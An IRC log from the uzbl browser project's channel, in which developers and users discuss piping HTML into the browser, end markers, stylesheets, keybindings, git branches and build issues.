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09:26 < rob|> pushed HTML mode, piping HTML documents via stdin/fifo/socket should work now
09:26 < rob|> example: (echo -e 'set base_url=http://www.uzbl.org'; echo 'set mode=1'; curl www.uzbl.org; echo '.')
09:27 < rob|> if you omit 'set base_url' 'http://invalid' will be used
09:32 < rob|> another usage example, viewing multiple local html files as one document: (echo 'set mode=1'; cat *.html; echo '.') | uzbl
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09:37 < Dieterbe> mornings
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09:39 < rob|> hey Dieter
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09:41 < rob|> it needs a better end marker, though. and a command (probably looking like a html comment) to set the base url while in html mode would also be nice imo
09:42 < rob|> with that you could concatenate websites into one big document
09:45 < Dieterbe> first of all. nice job
09:45 < Dieterbe> all the fancy stuff you've been doing / examples you've been giving are documented right?
09:46 < rob|> well, in git log ;)
09:47 < Dieterbe> k. i'll document when i merge it in then
09:48 < rob|> hmm, we could get fancy with a --mode option, so you can start uzbl in html mode and just pipe away
09:48 < rob|> Dieterbe: ok
09:50 < rob|> hmm, a timer to automatically switch to command mode after a certain period of not receiving HTML data would also fit i guess
09:50 < Dieterbe> what's wrong with set base_url ?
09:50 < rob|> hmm? nothing
09:51 < Dieterbe> because you say you want to do it "inside" the html doc. i don't really see the use case for that
09:52 < rob|> well, currently we have two modes: normal command mode and html mode. when in html mode no uzbl commands are interpreted but we treat every line as belonging to the html document
09:53 < rob|> the problem: you can not alter base_url in html mode
09:54 < rob|> use case: display www.uzbl.org, freshmeat.net, ... as single big document in uzbl
09:54 < Dieterbe> is this really a problem or just a small inconvenience?
09:54 < Dieterbe> what's wrong with going in and out html mode?
09:54 < rob|> that will display a new page
09:54 < rob|> and not concatenate
09:56 < Dieterbe> aha
09:57 < Dieterbe> can't we do something like: <go in html mode>; echo '<base href="..."/>'; cat uzbl.html; echo '<base href="..."/>'; cat foo.html; <go out of html mode>
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09:58 < rob|> oh, that's a good idea indeed.
09:58 < rob|> not sure how well that works with that tag being outside of <html></html>, though
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10:12 < rob|> Dieterbe: not, doesn't work really well: http://omploader.org/vMXFnaA
10:12 < rob|> s/not/no/
10:13 < mxf> what about prepending the html with a bytecount?
10:13 < mxf> ah, and hi there ;)
10:14 < rob|> hey mxf
10:14 < rob|> mxf: you'd still need to strip it from the document, wouldn't you?
10:16 < Dieterbe> rob|: isn't that just what you wanted, but more space efficient? ;)
10:16 < rob|> hehe, almost ;)
10:16 < mxf> rob|, well, something like: (echo 'set htmlmode $bytecount'; echo -e $html ) | uzbl
10:17 < rob|> oh, i see what you mean.
10:17 < rob|> don't you think an end marker is easier to use?
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10:19 < mxf> the user could always write some scripts that automatically sets the correct bytecount.
10:19 < mxf> rob|, you wouldn't want some random website exploiting uzbl, would you ;)
10:19 < Dieterbe> rob|: you sure the broken layout is because of the html tag you injected and not because of something else? note that i'm not 100% sure it's '<base href="..."/>', it may be something else.  also, it could be interesting to try "echo page | sed -s '/</head>/<base href..></head>/'" or something (eg inject the tag into the html itself)
10:21 < rob|> Dieterbe: i'm pretty sure it's due to the tgas, yes
10:22 < rob|> the same command line without "<a href.." shows the expected output
10:22 < rob|> manipulating the document should work, though
10:24 < psychon> uhm, wouldnt sth like "position: absolute; left: 10px; top: 10px;" always break with this?
10:24 < rob|> not sure, give it a try?
10:25 < psychon> I dont even have uzbl installed
10:25 < rob|> oh
10:25 < psychon> still looking through the example config
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10:26 < psychon> and that F and f keybindings are... interesting ;)
10:26 < rob|> they are indeed :)
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10:28 < mxf> rob|, regarding endtags: the user has to make sure the actual tag isn't present in the html itself. An alternative would be to define the endtag beforehand. kinda like what MIME does.
10:29 < rob|> you mean let the user set an end tag of his choice?
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10:29 < mxf> yes
10:30 < rob|> right, this might work just well
10:30 < mxf> sorry if my english is a bit broken, i'm not awake yet ;)
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10:35 < barrucadu> Hi
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10:35 < CarineNocturne> hi, how's it going
10:35 < Dieterbe> barrucadu: congrats
10:35 < barrucadu> Hmm?
10:35 < Dieterbe> hi CarineNocturne , fine
10:35 < DuClare> rob|, Was something about escaping the newlines not good?
10:36 < Dieterbe> barrucadu: @peak ;)
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10:37 < Dieterbe> barrucadu: there goes your record :P
10:37 < barrucadu> :(
10:37 < barrucadu> @peak
10:37 < dev_null> barrucadu: frots set a record of 58 people in #uzbl on May 26, 2009 at 08:36 AM CET. You'll need 1 more person to break the peak.
10:38 < frots> B)
10:39 < frots> I'm one of those people who just break records
10:39 < Dieterbe> frots: try to break the "amount of lines contributed" record :P
10:40 < Dieterbe> (lines of source code, that is)
10:41 < DuClare> indent -gnu :p
10:41 < frots> I don't think the project would benefit from my shit-code :p
10:41 < CarineNocturne> is this project fairly new?
10:41 < frots> yes it is
10:41 < CarineNocturne> i've just recently found out about it on reddit
10:41 < Dieterbe> it's just over 1 month old
10:41 < CarineNocturne> and am a huge fan of arch linux
10:42 < mxf> DuClare, escaping newlines would break code-tags
10:42 < DuClare> mxf, How?
10:42 < mxf> or was it pre?
10:43 < frots> I use it as my main broswer atm... the only thing that annoys me is remembering all my passwords ^^
10:43 < Dieterbe> frots: check out the formfiller script in latest experimental ( sscj has even made a better one, but i still need to merge it in /test it)
10:44 < DuClare> mxf, The point of escaping things is that you can pass normally invalid (protocol wise) data without breaking it
10:44 < frots> Yeah I will check that out thanks!
10:44 < psychon> the comment for the F command in the example config mentions that webkit lacks a C api for accessing the DOM, anyone knows when / if such an API will be available?
10:44 < mxf> DuClare, ah, i see. hm
10:44 < rob|> DuClare: well, that would have required to modify the parser. i.e. g_io_read_line wouldn't fir anymore
10:45 < rob|> mxf: pushed your suggestion, "set html_endmarker = anything"
10:45 < frots> Dieterbe: I am also having some problems with near to impossible to read form fields (dark gtk theme ^^)
10:45 < DuClare> rob|, You'd only have to use a state value which is set to true when we encounter the inject command, then check the last character of every line..
10:45 < mxf> aw, sweet :)
10:45 < DuClare> Mehe
10:45 < frots> What would be an easy workaround for this issue?
10:46 < DuClare> A light gtk theme
10:46 < Dieterbe> don't use crappy themes
10:46 < frots> hehe beside the obvoius solution :p
10:47 < Dieterbe> i don't know if you can override the theme per app
10:47 < Dieterbe> but if the gtk guys are smart, they must have forseen this
10:47 < frots> will take a look at that
10:47 < barrucadu> WebKit allows applying a stylesheet to a page, so you could just make one which styles all form elements as light colours
10:48 < frots> yes I did that before with firefox
10:48 < Dieterbe> hm? but this is about the gtk widgets
10:48 < Dieterbe> they follow your gtk theme
10:48 < frots> well, it's the text fields
10:48 < frots> and it seems that the text color is fully black
10:49 < frots> while they forgot to but background-color:white; in the stylesheet
10:49 < frots> on almost every website
10:51 < rob|> frots: set stylesheet_uri = file://|http://...  <- uses that stylesheet on every page
10:52 < frots> nice
10:52 < frots> rob|:
10:54 < Dieterbe> rob++;
10:55 < Dieterbe> g_give_beer_and_pizza_(&rob);
10:55 < rob|> hehe
10:56 < frots> maybe a stupid question, but can I also run this from within the browser? or what do i have to prepend?
10:59 < rob|> yes you can uzbl doesn't ship with a default binding for it, though. i'd suggest to:  "bind    :_        = runcmd %s"
10:59 < rob|> then you from inside uzbl:   :set stylesheet_uri = ...
10:59 < psychon> anybody ever thought about splitting up uzbl.c into multiple files?
10:59 < rob|> psychon: yeah
11:00 < psychon> oh, I just found a branch named "splitup"
11:00 < Dieterbe> rob|: after the merge, you'll be able to just type any command directly, right?
11:00 < Dieterbe> psychon: i gave it a shot but abandonned it
11:01 < rob|> Dieterbe: that's already possible
11:01 < psychon> hm, ok
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11:02 < benkant> hey guys. any plans for an os x port?
11:03 < rob|> benkant: hey. uhm, not yet
11:03 < frots> rob|: many thanks you're my special hero for today
11:03 < DuClare> benkant, Feel free to port it ;)
11:04 < barrucadu> My dad keeps asking when he'll be able to run it (on Windows) :p
11:04 < benkant> DuClare: i'm about to build it on linux and i'll have a look at porting it
11:05 < rob|> benkant: talking about a native port? i.e. using cocoa and all that shiny osx stuff?
11:06 < benkant> rob|: no, probably x11
11:06 < rob|> ah, i see. that shouldn't be to hard
11:06 < rob|> *too
11:06 < sscj> DuClare: did you ever get to look at running both * and _ at the same time?
11:07 < DuClare> Not yet, though now that you mention it, I could do it
11:10 < frots> rob|: nice try but it doesn't seem to work, i'll have to keep on fiddling
11:12 < rob|> frots: hmm, odd
11:12 < frots> rob|: I might be doing something wrong because changing the body background doesnt work either ^^
11:13 < frots> :set stylesheet_uri = file:///home/frits/test.css is my test
11:14 < rob|> can you nopaste that stylesheet, i'll give it a try
11:14 < frots> it only has body {background-color:black;}
11:14 < frots> in it :)
11:14 < sscj> I can't get stylesheet_uri to work either
11:15 < sscj> using dieterbe/experimental
11:15 < frots> i'm using the stable/git
11:15 < frots> It's strange that it doesn't take the font color from the gtk theme
11:15 < frots> maybe it's over written by the shitty stylesheets on the webz
11:16 < sscj> i body {background-color: !important black;}
11:16 < sscj> i tried*
11:16 < sscj> no dice
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11:16 < rob|> sscj/frots: you need to use my master branch, iirc dieter did not merge yet
11:16 < frots> and what about black !important
11:16 < frots> ok i will try that out rob|
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11:23 < mxf> rob|, oh, i almost forgot to throw this in the channel: https://s.qu.cx/uzblcat_pl.txt
11:25 < rob|> nice :)
11:25 < frots> rob|: tried it with your branch (master) but i can't get it to work
11:25 < rob|> frots: hmm, must be some webkit problem. starting uzbl from a terminal, and doing ":get stylesheet_uri" - does this give you the correct value?
11:26 < ddvlad> hey, just found out about uzbl and i'll either love it or hate it
11:26 < ddvlad> does uzbl do any kind of history?
11:26 < mxf> rob|, untested thou. but it should work ;)
11:26 < frots> VAR: stylesheet_uri VALUE: file:///home/frits/test.css
11:26 < rob|> ddvlad: not on it's own, but there are scripts included that do so
11:27 < rob|> frots: odd, i'll investigate
11:27 < ddvlad> rob|: awesome. can't wait for webkit to finish compiling :)
11:27 < frots> it just doesn't listen :p
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11:28 < rob|> frots: does it work with a stylesheet on the web for you?
11:29 < frots> i'll have to put a stylesheet on the wec first, one moment
11:31 < frots> doesnt seem to work
11:32 < frots> nope...
11:33 < rob|> hmm
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11:34 < frots> strange :)
11:34 < frots> i'll try some testing later i have to go to a funeral right now
11:34 < frots> thanks anyway :)
11:34 < rob|> mxf: http://pastebin.com/ma7417b <- this one works just fine :)
11:35 < rob|> frots: oh, ok
11:35 < rob|> modes should have meaningful names, though. like 'set mode = html'
11:50 < DuClare> sscj, http://github.com/DuClare/uzbl/commit/6c11777067bdb8aac09bba78d54caea04f85e059
11:51 < DuClare> bind w* = runcmd get uri
11:51 < DuClare> bind w_ = runcmd get status_format
11:51 < sscj> DuClare: awesome, gonna try it out
11:51 < DuClare> Runs get uri incrementally and get status_format when you hit ret
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12:07 < sscj> works great!
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12:08 < DuClare> Glad I could help. :]
12:12 < sscj> gonna try and make more vimperator-ish linkfollower
12:12 < sscj> a more*
12:13 < Dieterbe> good luck :P
12:13 < sscj> is there a way to register "persistent" js code, other than having the load_start_handlre insert the code every time?
12:13 < Dieterbe> sscj: also have a look at jouz' latest tree, he wrote the current link follower scripts
12:15 < sscj> I started fiddling with it yesterday
12:15 < sscj> don't understand why he doesn't just use xpath, since it's fast as hell on webkit
12:16 < sscj> but so far, most of the code is his
12:33 < jusa_> anyone noticing uzbl doesn't work nicely with sampleconfig, when using proxy? when running uzbl with sampleconfig (with proxy set) and -u foo, it displays 'unable to load page' error, but when I click try again, it works nicely.
12:42 < rob|> http://www.uzbl.org/wiki/html-mode
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13:04 < rob|> curl www.uzbl.org | sed -e 's/uzbl/WOHOOOO/g' | uzblcat | uzbl
13:05 < rob|> getting fancy with pipes ;)
13:07 < Dieterbe>  o_O3~
13:08 < Dieterbe> uzblcat :)
13:08 < Dieterbe> that's funny for several reasons ;)
13:08 < rob|> hehe, true
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13:14 < mxf> rob|, oh, i just noticed that i didn't quote the string in my regex, now fixed: https://s.qu.cx/uzblcat_pl.txt
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13:15 < rob|> mxf: just create a wiki account, you can fix it on the site then
13:16 < rob|> mxf: could you also allow to optionally 'set base_url = <string>'?
13:16 < rob|> with a cmd line switch or any better method
13:18 < rob|> i guess an environment variable would work, too
13:20 < mxf> mhmm, yes, an enviroment variable would be a nice addition to this hack. With cmdline-switches i cannot use the magical readline anymore.
13:21 < mxf> and i'm too lazy at the moment to do it correctly ;)
13:21 < rob|> heh
13:22 < mxf> later, i promise ;)
13:22 < rob|> ok
13:24 < mxf> rob|, is 'set base_url' allowed before 'set html_endmarker'?
13:24 < rob|> yes, sure
13:27 < mxf> updated
13:28 < mxf> untested, as i haven't built uzbl yet ;)
13:28 < rob|> nice :). will test it
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13:29 < mxf> ah, typo
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13:30 < mxf> hey sECuRE
13:30 < sECuRE> hiho
13:32 < rob|> you removed the she-bang
13:32 < mxf> ah, silly me
13:33 < mxf> i really should go to sleep
13:35 < rob|> and soemthing with the here doc seems to fail
13:37 < rob|> ah, silly me it was a " in the wrong place
13:38 < rob|> ok, working beatufully :)
13:39 < mxf> yeah, well, that was me. didn't run a perl -c over it, when i posted the first version in the wiki.
13:39 < DuClare> 18
13:39 < mxf> glad it works ;)
13:39 < DuClare> Blarg.
13:41 < rob|> unfortunatelly it does not seem possible to let webkit render chucks of html :(
13:42 < rob|> *chunks
13:43 < sECuRE> chucks full of html? hmm *s
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13:44 < rob|> sECuRE: chuck norris is everywhere even in your html ;)
13:45 < sECuRE> "html doesn’t render chuck norris, chuck norris renders the html?"? ;)
13:45 < rob|> hehe
13:48 < sECuRE> ah, in english they’re called chuck’s, so that pun didn’t work…
13:51 < rob|> well anyways, we could emulate loading chunks. not sure how well uzbl will render that, though
13:51 < sECuRE> hm, what exactly does webkit dislike? documents not starting with <html>?
13:52 < rob|> no, there simply is no function to load partial content.
13:52 < rob|> this means we'd need to render the incoming data sort of incrementally
13:52 < mxf> d'oh? No push-parser?
13:53 < mxf> ah, load as in render?
13:53 < rob|> at least not in the C api
13:54  * mxf should *really* go to sleep now, as he's unable to read anymore..
13:58 < rob|> hmm, how do you guys feel about a sigalarm handler that resets to normal command mode after a certain period of not receveiving any html data or the nd marker?
13:58 < rob|> would this be even needed?
13:59 < barrucadu> It could be useful if whatever is sending the html hangs
14:00 < rob|> the handler could also set a html_error var to "Timeout" or something so you could check from an external script
14:00 < barrucadu> But it would also be a pain if it was just sending a lot of big files or something
14:00 < barrucadu> Depends on the timeout length I suppose
14:00 < rob|> right, the timeout will be user setable
14:01 < rob|> set html_mode_timeout = 60
14:01 < rob|> probably in seconds
14:01 < psychon> just reset the timeout whenever some piece of data is read?
14:02 < rob|> yes, that's the plan
14:04 < necronian> Hello all, I just learned about uzbl on Hacker News. I'm wondering how hard you guys think it would be to make it act similar to conkeror?
14:06 < sECuRE> in what respect exactly?
14:08 < necronian> Mostly with respect to the modes it has, I can configure certain behaviors when I navigate to certain webpages
14:09 < psychon> are there some docs on the status_format variable? does the sample config include all options which it got?
14:10 < sscj> necronian: what you need to do is use load_start_handler to send js code to the browser depending on the url
14:14 < sscj> although, I haven't used conkeror so I don't really know what you mean. but using load_*_handlers, you can change quite a bit of behaviour
14:14 < DuClare> psychon, The sampleconfig should show everything that gets expanded
14:15 < psychon> well, it doesnt (LOAD_PROGRESSBAR vs LOAD_PROGRESS, but I guess that's the only thing?)
14:15 < DuClare> MODE, KEYCMD, LOAD_PROGRESSBAR, URI, NAME, MSG, SELECTED_URI
14:15 < psychon> hm, ok, thanks
14:15 < DuClare> There are two vars for setting the characters used in the progressbar
14:15 < necronian> Thanks sscj. It' looks like my biggest problem will be getting webpages to load in a background tab/buffer.
14:19 < DuClare> Hacker News :O
14:20 < DuClare> Meh
14:20 < DuClare> The site has been invaded by idiots
14:21 < necronian> Ha, when I first found out about it there were a few really good articles on the front page.
14:22 < necronian> And after I started reading it, there was never anything interesting again...
14:22 < DuClare> Somebody gives an url to a section on wikipedia which explains how the vimperator hints work.  And the next guy replies to him, asking "Is it problematic when a site has graphics for navigation?  Do you cycle through links and then choose the one you wanted, or is there a more direct way of accessing them?" ... read the wiki, buttbag
14:22 < psychon> uhm, what does MSG expand to?
14:22 < DuClare> Hacker News was cool when it was embraced by Lisp people
14:22 < DuClare> psychon, status_message
14:22 < psychon> thanks
14:23 < DuClare> http://news.ycombinator.com/item?id=626281
14:24 < psychon> and NAME expands to some kind of number..?
14:25 < DuClare> psychon, It's the xwin id or the name you gave it
14:25 < DuClare> uzbl -n foo
14:25 < barrucadu> NAME defaults to the X window ID, unelss set with the --name=NAME option
14:26  * barrucadu is too slow
14:26 < psychon> uhm... why would I need the window id? Oo
14:26 < psychon> well, thanks
14:28 < psychon> sorry to annoy you, I guess I could google this, but you guys are easier to ask: is there some way to align some text right in the statusbar?
14:28 < DuClare> Not that I'm aware of
14:29 < DuClare> It's pango text attribute markup.  http://www.pygtk.org/pygtk2reference/pango-markup-language.html
14:29 < psychon> heh, thanks, google so far only gave me http://www.ibm.com/developerworks/library/l-u-pango1/
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14:33 < DuClare> The statusbar is too inflexible in my opinion.. :x
14:37 < psychon> then there is no way to bind cursor keys? (left, right, up ,down)
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14:38 < sscj> cursor keys are for the weak
14:38 < psychon> and for me
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14:42 < rob|> pushed, html_mode_timeout variable and a handler that returns to normal command mode after the timeout
14:42 < rob|> html_mode_timeout default to 60 seconds btw..
14:42 < rob|> *defaults
14:43 < sscj> should it really be called html_mode? render_mode sounds a bit more generic
14:43 < psychon> uhm, is there some way to get rid of the highlights after a search or search_reverse?
14:43 < rob|> sscj: yeah, we can agree on any better name
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14:46 < mxey> I was wondering - why do the example scripts all use /bin/bash in the hashbang? It looks like they could do with plain sh - making them run with the faster dash on some systems and actually working on BSD.
14:47 < rob|> sscj: you could just grab my branch, modify the names and i'll merge back
14:48 < DuClare> psychon, I can fix that
14:48 < psychon> I could bind <something> to "search asdsdfewrwfoig"..
14:48 < sscj> rob|: still haven't gotten the hang of git, I'm afraid
14:48 < sscj> merging and whatnot
14:50 < Dieterbe> sscj: there is plenty of documentation about git :). try github.com/guides
14:51 < psychon> anyone using uzbl + git without github?
14:52 < Dieterbe> psychon: yeah.. afaik 1 or 2 people. but they don't know what they miss ;)
14:52 < sscj> i have one, just don't know how to use it yet :>
14:52 < psychon> so, what's so great about github?
14:52 < mxey> They miss, like, a bunch of JavaScript?
14:52 < Dieterbe> it makes it easy to track development
14:53 < Dieterbe> quite handy if you need to merge from about 15 people :P
14:54 < Zaba> mxey, they miss centralized decentralization!
14:54 < mxey> I used GitHub and went back to host Git stuff on my own server.
14:54 < Dieterbe> Zaba: exactly :)
14:55 < Dieterbe> i only speak for myself btw
14:55 < Dieterbe> don't know the opninions of the other guys
14:56 < mxey> GitHub is certainly nice, but I think it is extremly hyped currently.
14:57 < rob|> hypes attract a good testing base ;)
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15:01 < DuClare> psychon, http://github.com/DuClare/uzbl/commit/c7a26e5ad25b49dfb5532c9f33321ad815272cd1
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15:02 < psychon> nice, but I already found a "real" bug by now :)
15:03 < DuClare> Eh?
15:03 < psychon> ( echo 'set uri = google.de' ; sleep 3  )  |  ~/projects/uzbl/uzbl -c ~/.config/uzbl/config <- without the sleep call it doesnt work
15:03 < psychon> yeah, completly unrelated to this
15:03 < psychon> your patch looks nice, thanks
15:03 < DuClare> You're using some oooold build perhaps?
15:04 < psychon> git master
15:04 < DuClare> Okay, so it's old
15:04 < DuClare> :)
15:04 < Dieterbe> yeah :P
15:04 < psychon> so why is master old? -.-
15:04 < rob|> http://www.reddit.com/r/programming/comments/8n5xc/minimalistic_web_browser_based_on_webkit/
15:04 < Dieterbe> DuClare: do you mean we fixed the uri bug? what did i miss?
15:04 < psychon> 25 files changed, 1687 insertions(+), 588 deletions(-) <- uhm, wow, diff between master and experimental is... yeah..
15:05 < DuClare> psychon, The project itself is about a month old, so you can imagine how fast things are changing still
15:05 < sscj> "Why have a browser that does everything, when you can have a browser that does nothing?"
15:05 < psychon> yeah, so why is there an experimental branch at all? just do everything in master :/
15:05 < DuClare> Dieterbe, I thought this was related to the bug that it wouldn't always read from stdin .. maybe I got confused
15:06 < Dieterbe> psychon: because experimental can be really broken sometimes
15:06 < psychon> this project is only a month old, so what? :/
15:07 < psychon> wow, one more compiler warning with experimental
15:07 < psychon> but that bug seems to be gone
15:07 < DuClare> Beware of other bugs that might stalk you. :)
15:07 < psychon> -    if (condition & G_IO_HUP) { <- because of that snippet being removed..
15:08 < psychon> well, this is only a month old, I expect bugs :P
15:08 < DuClare> Yup.
15:08 < psychon> but really, the diff between master and experimental looks worrying :(
15:08 < DuClare> Dieterbe, rob|: I think some webkit-settings related stuff broke around when rob enabled webinspector (though might be unrelated, but that's when I merged)
15:09 < DuClare> Dieterbe, rob|: Notably font_size is not honoured when read with -c, but works if sent via stdin
15:09 < psychon> so which experimental version should I use? Dieterbe's is the "stable expermiental"? ;)
15:09 < DuClare> It's not really any more stable than the others :)
15:09 < rob|> DuClare: strange, i didn't touch the config file stuff
15:10 < rob|> psychon: usually duclare's experimental and my master are the most bleeding edge branches
15:15 < DuClare> Exam. →
15:15 < psychon> hm, ok, next question: spawn and sh both append other parameters to the called command? is there something which doesnt do this?
15:16 < DuClare> psychon, No, but as a workaround, you can do sh 'exec yourscript param1 param2 $@'
15:16 < Dieterbe> DuClare: good luck with it
15:16 < psychon> hm..
15:17 < DuClare> Dieterbe, Thanks, I'm going to need it. :)
15:19 < psychon> hm... variables aren't expanded in those calls? (trying to make a "duplicate window" key binding)
15:30 < psychon> uhm... why does experimental have some key bindings in config.h?
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15:32 < psychon> oh and experimental doesnt compile here Oo
15:33 < psychon> ...or does again
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15:36 < barrucadu> @peak
15:36 < dev_null> barrucadu: Elly set a record of 62 people in #uzbl on May 26, 2009 at 01:33 PM CET. You'll need 1 more person to break the peak.
15:36 < barrucadu> I'm the channel @peak'er ;)
15:36 < Elly> wow, I set a record :P
15:37 < uranther> i saw uzbl on hacker news i think
15:37 < uranther> pretty interesting project
15:37 < barrucadu> There ahve been a few records today
15:37 < barrucadu> *have
15:37 < Elly> yep; it's on the front page
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15:46 < _19LIONZ_> Did uzbl become mainstream in my absence ?
15:47 < psychon> yeah, mozilla announced that they would abandon firefox and help developing uzbl instead
15:47 < Dieterbe> :)
15:47 < uranther> Dieterbe, which wm do you use in conjunction with uzbl?
15:48 < Dieterbe> wmii
15:48 < psychon> if it helps you, I'm not here because of any news on some site, but because of another webkit-based browser
15:48 < uranther> thx
15:50 < Dieterbe> psychon: what do you mean?
15:50 < psychon> hm?
15:50 < psychon> I'm just kidding...
15:50 < psychon> or what do you mean?
15:51 < Dieterbe> psychon: i don't know what you meant.. eg did you mean "i'm also working on a  webkit based browser" or "i'm looking for a webkit based browser" or ..
15:51 < psychon> Dieterbe: http://sprunge.us/bACB <- I guess that patch would have no chance of getting submitted?
15:52 < psychon> Dieterbe: webkitbrowser - https://projects.ring0.de/webkitbrowser/
15:52 < psychon> someone suggested it in some channel, then someone else mentioned uzbl
15:52 < psychon> that how I found uzbl
15:52 < Dieterbe> psychon: we will already get rid of the default binds, but keep the default status format
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15:53 < psychon> oh, yeah, sorry, I just wanted to get rid of the t binding since I couldnt overwrite it
15:55 < danuthaiduc> Hello! I want to congratulate you guys for starting this project and to wish you good luck and a lot of followers!
15:55 < Dieterbe> psychon: interesting! are you already in this channel for a while? i remember talking to a person here who make a gtk webkit lightweight browser but i'm not sure if that was you
15:56 < psychon> Dieterbe: oh and could you add a vim modeline to uzbl.c? that would make the 4-space indent a little less bad ;)
15:56 < Dieterbe> danuthaiduc: thanks
15:56 < psychon> Dieterbe: nope, not me, I just found that "webkitbrowser" accidentally too
15:56 < Dieterbe> psychon: i don't know what you mean
15:56 < Dieterbe> psychon: yeah that's the one i think
15:57 < psychon> the modeline? sth like in uzbl.h: /* vi: set et ts=4: */
15:57 < psychon> oh, damn, it's already there
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16:01 < Dieterbe> psychon: :)
16:01 < psychon> Dieterbe: should one be able to add multiple bindings to a key? else I'll write a patch which catches this and warns about it
16:01 < psychon> oh and why doesnt the modeline work for me? :(
16:01 < sscj> psychon: I asked DuClare earlier to enable multiple bindings
16:02 < psychon> oh.. :(
16:02 < Dieterbe> sscj: what did he reply?
16:02 < sscj> he fixed it \o/
16:02 < Dieterbe> :D
16:02 < sscj> mostly, it was meant so that you could have different behaviors
16:03 < sscj> like "bind f* = js hint(%s)", "bind f_ = js follow_hint("%s")"
16:04 < psychon> well, I'm trying to catch "bind f = <sth>", "bind f = <sth else>"
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16:11 < Elly> hm... gentoo appears to have libwebkit-1.0.0 as the latest thing in portage
16:12 < Dieterbe> there's an ebuild on our wiki
16:12 < Dieterbe> not sure how useful it is though
16:12 < Elly> oh, excellent :)
16:13 < rob|> psychon: not need to catch that as the (old) binding will simply be replaced by the new one
16:14 < psychon> rob|: I spent 10 mins debugging why my keybinding doesnt work ;)
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16:15 < mxey> Elly: webkit-gtk 1.1.7 exists, but is keyword-masked.
16:16 < xeno|stefan> hey. i saw uzbl on mxey's notebook and it looks great. anyway i am running debian lenny, and it seems that there are a few backports to build. did someone tried this?
16:16 < mxey> I am being watched!
16:16 < Elly> mxey: I'm running ~x86, if that's what you mean
16:17 < mxey> Elly: Yes, that's what I mean.
16:17 < Elly> eix shows only one version of webkit-gtk, which it calls "0_p40220", but that installed libwebkit-1.0.0
16:18 < mxey> Same happened to me. Try emerge --sync ;)
16:19 < Elly> that better not be it :P
16:19 < Elly> oh, I need to go anyway, so I guess I'll sort this out later
16:20 < psychon> Dieterbe: do you have a second for some patches?
16:20 < psychon> Dieterbe: git://git.znc.in/psychon/uzbl.git experimental
16:22 < Dieterbe> psychon: no, not now. i am at work
16:22 < psychon> ok :)
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16:22 < Dieterbe> psychon: you can remind me later today (now + 4 hours) or just send a mail to the ML or something
16:23 < Dieterbe> or if you fork me on github and push to it, your patches will always show up for me :)
16:23 < psychon> github is evil :(
16:23 < psychon> I guess I'll send a "git request-pull" to the mailing list then..
16:25 < Dieterbe> fair enough
16:26 < uranther> what's evil about github
16:26 < psychon> too much javascript plus I dont have an account
16:27 < uranther> i see
16:28 < Dieterbe> and one could argue it's closed source
16:28 < psychon> which I dont really care that much about..
16:28 < mxey> Google is also closed source..
16:28 < bobpaul> gitorious is a nice OSS alternative
16:29 < bobpaul> don't pay attention to javascript, so I don't know if there's "too much"
16:29  * mxey cuddles his private cgit
16:30 < mxey> A little bit of work to set it up, but no limits and speedy. (GitHub tends to be a little slow)
16:35 < mxey> How do I set keybindings with Ctrl? Cannot seem to find an example.
16:36 < sscj> currently, you can't afaik
16:36 < sscj> oh wait, you can, but it's a hassle
16:37 < mxey> Using the code, like in ncmpc?
16:37 < Zaba> Would be nice if one could use ^x for ctrl-x.
16:38 < Dieterbe> you can
16:38 < Dieterbe> ^X
16:39 < mxey> I thought it were a hassle?
16:39 < bobpaul> build error: http://pastebin.com/d2b10785 -- I assume WebKitWebNavigationAction etc should be included by webkit? A quick search of those headers returns nothing. Do I just need a newer webkit, then?
16:40 < Zaba> What does the modkey setting affect?
16:41 < psychon> looks like it lets you execute all your keybindings in insert mode if <modkey> is pressed
16:41 < Zaba> aha.
16:42 < mxey> I am guessing there is no Vimperator-like hints stuff as of yet?
16:42 < Zaba> mxey, hints stuff?
16:42 < psychon> you mean f and F in default vimperator? there is some javascript hack which does sth similar
16:43 < mxey> Zaba: Selecting links by numbers.
16:43 < mxey> psychon: I see.
16:43 < mxey> Should look into it.
16:43 < psychon> examples/configs/sampleconfig
16:43 < psychon> F shows/hides the hints, f follows a hint
16:44 < Zaba> psychon, it looks like a horribly *long* hack.
16:44  * mxey tries
16:44 < psychon> Zaba: that's because it is a horribly long hack
16:44 < sscj> jouz has written a better one
16:44 < sscj> examples/scripts/follow_links.js
16:44 < psychon> examples/scripts/follow_Numbers.js looks worse :D
16:44 < mxey> Hm, this browser looks like the fucking future, dudes.
16:45 < mxey> I imagine there are lots of people looking for something to suck less than Fuckupfox.
16:46 < mxey> :)
16:48 < Zaba> well, I ain't looking for a replacement for firefox, really.
16:48 < Zaba> because I've just found uzbl.
16:51 < sscj> why is so goddamn impossible to enter stuff in the webinspector shell?
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17:02 < rson> sscj: i'm at work so i cant check out this new script.  is the behavior different than the current?
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17:02 < sscj> rson: what script?
17:03 < rson> the follow_links script
17:04 < sscj> oh. I meant follow_Numbers.js
17:04 < sscj> :V
17:05 < darrob> hello. on ubuntu as well as debian i seem to have a problem with the $XDG_DATA_HOME variable, which doesn't seem to be read by the uzbl scripts. other applications are using it though and uzbl does load the config file from XDG_CONFIG_HOME. any suggestions?
17:06 < Frots> recheck recheck recheck if you did it right
17:06 < rson> sscj: that too.  i've been running the -git, not the experimental so i didnt even know these scripts were there.
17:06 < Frots> i tried it twice and it worked but dunno what I did wrong in the first place darrob
17:07 < Frots> echo $XDG_DATA_HOME and use that path instead maybe?
17:08 < sscj> rson: it's alot better, since it follows input forms and stuff
17:08 < darrob> Frots: that doesn't show anything. as far as i could find out it's not supposed to show anything (as long as it's the standard value, which it is). also the CONFIG variable doesn't return anything either.
17:09 < darrob> well, this is probably not the right place to ask this. i was just hoping for somebody who just ran into the same problem. thanks
17:09 < Frots> well on my box it shows something
17:10 < Frots> you could export the path in your bashrc or something
17:10 < Frots> because it should show something if you echo it darrob, if it doesn't it means the path is not set
17:12 < darrob> Frots: that makes a lot of sense. it still works for the CONFIG var though. it remains a mystery for now then and i'll set it manually.
17:13 < Frots> well it is easy i think
17:13 < Frots> you can export variables in you b.bashrc (or equivalent)
17:13 < Frots> so it might be that debian doesn't export that variable
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17:14 < Frots> so it just works if you do a export $XDG_DATA_HOME=etc...
17:14 < Frots> but it forgets that on reboot thats why you'd better put it in your bashrc
17:15 < rson> sscj: awesome.  i think i'll update to the experimental when i get home
17:16 < darrob> alright. thanks, Frots.
17:16 < Frots> darrob: your welcome
17:17 < sscj> I'm currently toying around with xpath to see if I can make a more vimperator-ish link follower
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17:21 < algator> hi all
17:22 < algator> uzbl crashes all the time for me. I can barely do anything. Am I the only one?
17:22 < Frots> yes
17:22 < Frots> ^^
17:22 < Frots> some error?
